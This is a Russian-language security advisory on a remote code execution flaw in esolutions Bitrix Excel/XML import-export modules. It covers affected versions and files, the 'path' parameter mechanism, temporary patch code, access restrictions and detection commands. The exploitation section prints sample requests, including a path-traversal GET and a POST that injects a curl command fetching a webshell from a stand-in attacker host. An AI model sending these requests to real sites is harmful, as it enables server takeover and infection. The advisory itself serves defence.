
Уязвимость в плагинах Bitrix Экспорт/Импорт товаров в Excel
Уязвимость представляет собой Remote Code Execution (RCE) через недостаточную санитизацию параметра path
в POST/GET-запросах. Она позволяет злоумышленнику выполнить произвольный код на сервере, если используется уязвимая версия модуля.
Механизм работы
Уязвимые компоненты:
-
Скрипты админки (например,
/bitrix/admin/esol_import_excel_cron_settings.php
), обрабатывающие параметры импорта/экспорта данных.
Как это работает:
-
Контролируемый параметр:
-
Параметр
path
(передаваемый в запросе) используется для указания пути к файлу.
-
-
Опасные операции:
-
В уязвимых версиях модулей параметр
path
передается в функции файловых операций (include
,require
,file_get_contents
) без санитизации.
-
-
Эксплуатация:
-
Злоумышленник отправляет запрос с параметром
path
, содержащим:-
Путь к вредоносному PHP-файлу на сервере (например, через загруженный файл).
-
Удаленный URL (например,
http://attacker[.]com/shell.php
), если разрешены внешние включения (allow_url_include=On
).
-
-
Пример эксплуатации с get запросом:
GET /bitrix/admin/esol_import_excel_cron_settings.php?path=../../../upload/evil.php HTTP/1.1
Пример с post запросом:
POST /bitrix/admin/esol_export_xml_cron_settings.php HTTP/1.0
...
action=getphpversion&path=curl+http%3A%2F%2FEvilSiteForExample[.]com%2Faccesson20.html+-so+..%2F..%2F7111fd77004c.php%3Bphp
Они могут менять curl на wget и некоторые дополнительные параметры, но в качестве точки входа именно эти файлы, расположенные в разных директориях.
Условия для эксплуатации
-
Установлен один из уязвимых модулей от esolutions для bitrix:
1) Импорт из Excel - версии от 2.4.7 до 2.8.9
2) Экспорт в Excel - версии от 0.8.2 до 1.2.2
3) Экспорт/Импорт товаров в Excel - версии от 2.4.7 до 2.8.9
4) Импорт из XML и YML - версии от 0.6.8 до 1.1.6
5) Массовая обработка элементов инфоблока - версии от 0.5.9 до 0.7.7
6) Многофункциональный экспорт/импорт в Excel - версии от 0.2.2 до 0.4.8
-
Скрипты админки доступны извне (например, если
/bitrix/admin/
не защищен через.htaccess
или IP-ограничения). -
На сервере разрешено выполнение PHP-кода через
include
/require
.
Как защитить сайт
a) Срочные меры:
-
Добавьте предоставленный код в начало уязвимых файлов:
<?if(isset($_REQUEST['path']) && strlen($_REQUEST['path']) > 0) { header((stristr(php_sapi_name(), 'cgi') !== false ? 'Status: ' : $_SERVER['SERVER_PROTOCOL'].' ').'403 Forbidden'); die(); }?>
Это блокирует любые запросы с параметром
path
.
Не полный список уязвимых файлов:
- /bitrix/modules/kda.importexcel/admin/iblock_import_excel_cron_settings.php
- /bitrix/modules/kda.exportexcel/admin/iblock_export_excel_cron_settings.php
- /bitrix/modules/esol.importexportexcel/admin/iblock_import_excel_cron_settings.php
- /bitrix/modules/esol.importexportexcel/admin/iblock_export_excel_cron_settings.php
- /bitrix/modules/esol.importxml/admin/import_xml_cron_settings.php
- /bitrix/modules/esol.massedit/admin/profile.php
- /bitrix/modules/esol.allimportexport/admin/cron_settings.php
- /bitrix/admin/esol_massedit_profile.php
- /bitrix/admin/kda_export_excel_cron_settings.php
- /bitrix/admin/esol_allimportexport_cron_settings.php
- /bitrix/admin/kda_import_excel_cron_settings.php
- /bitrix/admin/esol_export_xml_cron_settings.php
- /bitrix/admin/esol_import_xml_cron_settings.php
Уязвимые модули могут иметь немного другой путь и начало имени, например, /bitrix/admin/esol_import_excel_cron_settings.php.
При помощи данных уязимостей злоумышленниками производятся массовые сканирования на наличие данных уязвимостей и автоматизированная эксплуатация с целью заразить сайт вирусом 7111fd77004c.php.
-
Обновите модули до версий, выпущенных в июне-июле 2023
b) Дополнительные меры:
-
Ограничьте доступ к
/bitrix/admin/**
:-
Настройте аутентификацию при помощи файла
.htaccess в директории /bitrix/admin/
:AuthType Basic AuthName "Admin Area" AuthUserFile /path/to/.htpasswd Require valid-user Order Deny,Allow Deny from all Allow from 192.168.1.0/24
-
Убедитесь, что файл .htpasswd создан и содержит учетные данные пользователей, которым разрешен доступ.
-
Замените /path/to/.htpasswd на фактический путь к файлу .htpasswd.
-
Поместите .htaccess файл в директорию /bitrix/admin/, а не в корень.
-
Замените диапазон IP-адресов на нужный.
-
-
Проверьте настройки PHP:
allow_url_include = Off allow_url_fopen = Off
-
Аудит логов:
-
Проверьте логи веб-сервера на подозрительные запросы к
/bitrix/admin/*cron_settings.php
.
-
Обнаружение взломов
Проверьте:
-
Новые файлы в директориях:
-
/upload/
-
/bitrix/modules/
-
/bitrix/admin/
-
-
Подозрительные процессы на сервере:
ps aux | grep -E '(wget|curl|sh|bash|perl|python|php)'
-
Измененные файлы:
find /path/to/site -type f -mtime -3 -ls
Рекомендуемые инструменты
-
Сканеры уязвимостей:
-
Bitrix Vulnerability Scanner
-
Acunetix, Nessus.
-
-
Мониторинг файлов:
-
OSSEC, Tripwire.
-
